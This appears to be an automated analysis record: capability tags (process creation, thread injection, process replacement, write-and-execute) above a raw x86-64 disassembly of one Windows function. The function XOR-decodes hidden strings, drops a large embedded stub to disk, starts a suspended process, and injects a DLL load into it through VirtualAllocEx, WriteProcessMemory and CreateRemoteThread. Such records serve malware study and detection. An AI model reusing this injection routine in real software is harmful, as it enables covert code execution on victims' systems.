Function at 0x140001000
Capabilities:
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Use process replacement
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x150], 0xfffffffffffffffe
lea rcx, [rbp - 0x28]
call fcn.1400022d0
movabs rax, 0xdf3a7a4b3b0dacc3
mov qword [rbp + 0x90], rax
movabs rax, 0x7a41630d947a5879
mov qword [rbp + 0x98], rax
movabs r12, 0x3a909c04a722a961
mov qword [rbp + 0xa0], r12
movabs r13, 0x9423e6de8ab88e2
mov qword [rbp + 0xa8], r13
movabs r14, 0xb056092a5269c3af
mov qword [rbp + 0x20], r14
movabs r15, 0x1f390623e61f3c18
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r13
lea rax, [rbp + 0x20]
movaps xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
lea rsi, [rbp + 0x90]
mov rcx, rsi
call fcn.14000c4f0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rax
call fcn.140006060
lea rcx, [rbp + 0x20]
lea rdi, [rbp + 0xe0]
mov edx, eax
mov r8, rdi
call fcn.140005870
mov rbx, rbp
lea rsi, [rbp - 0x28]
lea r8, [rbp + 0x20]
mov rcx, rbx
mov rdx, rsi
call fcn.140002490
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x140001151
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000114c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
cmp qword [rbp + 0x18], 8
jb 0x14000115c
mov rbx, qword [rbp]
lea rdx, [rbp + 0x20]
mov rcx, rbx
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140005d30
cmp eax, 0x34
jg 0x1400012b2
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400012c7
test eax, eax
jne 0x140001f94
lea rcx, [rbp + 0x90]
call fcn.140002770
movabs rax, 0xb022094b520dc381
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], r15
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r15
lea rax, [rbp + 0x20]
movaps xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0xc0], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 7
mov ebx, 0x10
movabs r14, 0x1d06754986f6e75f
movabs r15, 0x47ae147ae147ae15
lea rdi, [rbp + 0x110]
jmp 0x140001235
mov word [rdx + rax*2], r9w
mov word [rdx + rax*2 + 2], 0
dec rbx
je 0x1400015d3
rdtsc
mov rcx, rax
shl rdx, 0x20
or rcx, rdx
imul rcx, r14
add rcx, r14
mov rax, rcx
mul r15
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
lea eax, [rax + rax*4]
lea eax, [rax + rax*4]
neg eax
lea r9d, [rcx + rax]
add r9d, 0x61
mov rax, qword [rbp + 0x120]
mov rcx, qword [rbp + 0x128]
cmp rax, rcx
jae 0x1400012a0
lea rdx, [rax + 1]
mov qword [rbp + 0x120], rdx
mov rdx, rdi
cmp rcx, 8
jb 0x140001220
mov rdx, qword [rbp + 0x110]
jmp 0x140001220
mov edx, 1
mov rcx, rdi
call fcn.140004760
jmp 0x14000122c
cmp eax, 0x35
je 0x1400012c7
cmp eax, 0x7b
je 0x1400012c7
cmp eax, 0x10b
jne 0x140001f94
mov ecx, 0x2d0
call fcn.140005a80
mov r8d, 0x2d0
mov qword [rbp + 0x108], rax
mov rcx, rax
xor edx, edx
call fcn.14001d400
xorps xmm0, xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0xe0], xmm0
mov rbx, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 8
jb 0x14000130a
mov rsi, qword [rbp]
jmp 0x14000130d
mov rsi, rbp
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x140001f85
cmp rbx, 7
jbe 0x14000138b
mov qword [rbp - 8], r14
mov rax, rbx
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001f8a
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp rax, 0x7ff
jb 0x1400013a9
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001f8a
add rcx, 0x29
call fcn.140005a10
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400013b5
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0xe0], xmm0
jmp 0x1400013e1
add rcx, 2
call fcn.140005a10
mov rdi, rax
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], r14
lea r8, [rbx*2 + 2]
mov rcx, rdi
mov rdx, rsi
call fcn.14001cd60
mov r14, qword [rbp - 8]
movabs rax, 0xb03309465200c3e9
mov qword [rbp + 0x90], rax
movabs rax, 0x1f1c0643e63f3c22
mov qword [rbp + 0x98], rax
movabs rax, 0x3ab09c64a751a916
mov qword [rbp + 0xa0], rax
movabs rax, 0x9623e19e8c4888c
mov qword [rbp + 0xa8], rax
movabs rax, 0x35545e330bb9bfc5
mov qword [rbp + 0xb0], rax
movabs rax, 0x2198dcae06f686b8
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r13
movabs rax, 0x353a5e460bd6bfa3
mov qword [rbp + 0x40], rax
movabs rax, 0x2198dc8f06d686dc
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x20]
movaps xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0x90]
mov rsi, qword [rbp + 0x108]
mov rcx, rsi
mov r8, rdi
call fcn.140002710
mov rax, qword [rbp + 0xf8]
cmp rax, 8
jb 0x140001511
mov rcx, qword [rbp + 0xe0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000150c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
lea r8, [0x140024d28]
xor ecx, ecx
mov rdx, rsi
mov r9d, 0x30
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rsi
call fcn.140005a4c
mov rax, qword [rbp + 0x18]
cmp rax, 8
jb 0x140001577
mov rcx, qword [rbp]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001572
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
mov rax, qword [rbp - 0x10]
cmp rax, 8
jb 0x1400015bd
mov rcx, qword [rbp - 0x28]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400015b8
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
xor eax, eax
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdi, [rbp + 0xc0]
mov rcx, rdi
call fcn.14000c5c4
mov rcx, qword [rbp + 0x120]
mov rdx, qword [rbp + 0x128]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14000161b
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x110]
lea r9, [rbp + 0xc0]
mov rdx, rax
call fcn.1400048e0
mov rbx, rax
jmp 0x14000165a
lea r14, [rcx + rax]
mov qword [rbp + 0x120], r14
lea rbx, [rbp + 0x110]
mov r15, rbx
cmp rdx, 8
jb 0x14000163d
mov r15, qword [rbp + 0x110]
lea rcx, [r15 + rcx*2]
add rax, rax
lea rdx, [rbp + 0xc0]
mov r8, rax
call fcn.14001cd60
mov word [r15 + r14*2], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x140], xmm1
movaps xmmword [rbp + 0x130], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 7
mov word [rbx], 0
movaps xmm0, xmmword [rbp + 0x130]
movaps xmm1, xmmword [rbp + 0x140]
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], 0
lea r14, [rbp + 0xe0]
lea rdx, [rbp + 0x90]
lea rbx, [rbp + 0x20]
mov rcx, r14
mov r8, rbx
call fcn.140002490
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x14000171c
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001717
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], 0
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x14000177e
mov rcx, qword [rbp + 0x110]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001779
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
mov r15, qword [rbp + 0xf0]
cmp qword [rbp + 0xf8], 8
jb 0x1400017a1
mov r14, qword [rbp + 0xe0]
movabs r12, 0x7fffffffffffffff
cmp r15, r12
jae 0x140001f8f
cmp r15, 7
ja 0x1400017d3
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
movups xmm0, xmmword [r14]
movaps xmmword [rbp + 0x20], xmm0
jmp 0x14000186b
mov rax, r15
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fbe
cmp rax, 0xb
mov r13d, 0xa
cmovae r13, rax
lea rcx, [r13*2]
cmp rax, 0x7ff
jb 0x140001838
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fbe
add rcx, 0x29
call fcn.140005a10
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001844
add rcx, 2
call fcn.140005a10
mov rcx, rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r13
lea r8, [r15*2 + 2]
mov rdx, r14
call fcn.14001cd60
cmp qword [rbp + 0x38], 8
jb 0x14000186b
mov rbx, qword [rbp + 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov rcx, rbx
mov edx, 0xc0000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax + 1]
cmp rcx, 2
jae 0x1400018f4
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x140001ee7
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400018ea
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
jmp 0x140001ee7
mov qword [rsp + 0x20], 0
lea rdx, section..stub
lea rbx, [rbp + 0x130]
mov rcx, rax
mov r8d, 0x44ea00
mov r9, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r14d, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x140001972
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000196d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
test r14d, r14d
je 0x140001ee7
xorps xmm0, xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x80], 0
movaps xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], 0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
mov r14, qword [rbp - 0x18]
cmp qword [rbp - 0x10], 8
jb 0x1400019d0
mov rsi, qword [rbp - 0x28]
cmp r14, r12
jae 0x140001fc3
cmp r14, 7
ja 0x140001a00
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x130], xmm0
jmp 0x140001aa3
mov rax, r14
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fcd
cmp rax, 0xb
mov r15d, 0xa
cmovae r15, rax
lea rcx, [r15 + r15]
cmp rax, 0x7ff
jb 0x140001a61
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fcd
add rcx, 0x29
call fcn.140005a10
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001a6d
add rcx, 2
call fcn.140005a10
mov rcx, rax
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], r15
lea r8, [r14*2 + 2]
mov rdx, rsi
call fcn.14001cd60
cmp qword [rbp + 0x148], 8
jb 0x140001aa3
mov rbx, qword [rbp + 0x130]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x110], xmm0
mov r14, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 8
jb 0x140001ac5
mov rsi, qword [rbp]
jmp 0x140001ac8
mov rsi, rbp
cmp r14, r12
jae 0x140001fc8
cmp r14, 7
ja 0x140001af8
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x110], xmm0
jmp 0x140001b9d
mov rax, r14
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fd2
cmp rax, 0xb
mov r15d, 0xa
cmovae r15, rax
lea rcx, [r15 + r15]
cmp rax, 0x7ff
jb 0x140001b59
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fd2
add rcx, 0x29
call fcn.140005a10
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001b65
add rcx, 2
call fcn.140005a10
mov rcx, rax
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r15
lea r8, [r14*2 + 2]
mov rdx, rsi
call fcn.14001cd60
cmp qword [rbp + 0x128], 8
jb 0x140001b9d
mov rcx, qword [rbp + 0x110]
jmp 0x140001ba4
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x140001c2c
mov rcx, qword [rbp + 0x110]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001c27
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
mov rax, qword [rbp + 0x148]
cmp rax, 8
jb 0x140001c78
mov rcx, qword [rbp + 0x130]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001c73
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
test esi, esi
je 0x140001ee7
mov rcx, qword [rbp + 0xc0]
mov dword [rsp + 0x20], 4
mov r8d, 0x1000
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140001ee7
mov rbx, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
mov rdi, qword [rbp + 0xf0]
cmp qword [rbp + 0xf8], 8
jb 0x140001cda
mov rsi, qword [rbp + 0xe0]
jmp 0x140001ce1
lea rsi, [rbp + 0xe0]
cmp rdi, r12
jae 0x140001fd7
cmp rdi, 7
ja 0x140001d18
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x130], xmm0
lea r8, [rbp + 0x130]
jmp 0x140001dd8
mov qword [rbp + 0x108], rbx
mov rax, rdi
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fe3
cmp rax, 0xb
mov ebx, 0xa
cmovae rbx, rax
lea rcx, [rbx + rbx]
cmp rax, 0x7ff
jb 0x140001d7f
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fe3
add rcx, 0x29
call fcn.140005a10
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001d8b
add rcx, 2
call fcn.140005a10
mov rcx, rax
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
call fcn.14001cd60
cmp qword [rbp + 0x148], 8
jb 0x140001dc3
mov r8, qword [rbp + 0x130]
jmp 0x140001dca
lea r8, [rbp + 0x130]
mov rbx, qword [rbp + 0x108]
mov rdi, qword [rbp + 0x140]
lea r9, [rdi*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov qword [rsp + 0x20], 0
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001ec2
mov rcx, qword [rbp + 0xc0]
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea rsi, [rax + 1]
cmp rsi, 2
jb 0x140001e48
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rbp + 0x148]
cmp rax, 8
jb 0x140001e94
mov rcx, qword [rbp + 0x130]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001e8f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
mov rcx, qword [rbp + 0xc0]
mov rdx, rbx
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp rsi, 2
jb 0x140001ee7
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140001ee7
lea rcx, [rbp + 0x130]
call fcn.1400026a0
mov rcx, qword [rbp + 0xc0]
mov rdx, rbx
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rbp + 0xf8]
cmp rax, 8
jb 0x140001f2f
mov rcx, qword [rbp + 0xe0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001f2a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
mov rax, qword [rbp + 0xa8]
cmp rax, 8
jb 0x140001531
mov rcx, qword [rbp + 0x90]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001f76
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f80
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a4c
jmp 0x140001531
call fcn.14000be5c
call fcn.140002ce0
call fcn.140002d00
call fcn.140002ce0
mov dword [rbp + 0x90], eax
lea rax, section..rdata
mov qword [rbp + 0x98], rax
lea rcx, str.exists
lea rdx, [rbp + 0x90]
mov r8, rbp
call fcn.140004a70
call fcn.140002d00
call fcn.140002ce0
call fcn.140002ce0
call fcn.140002d00
call fcn.140002d00
mov qword [rbp + 0x108], rbx
call fcn.140002ce0
call fcn.140002d00
int3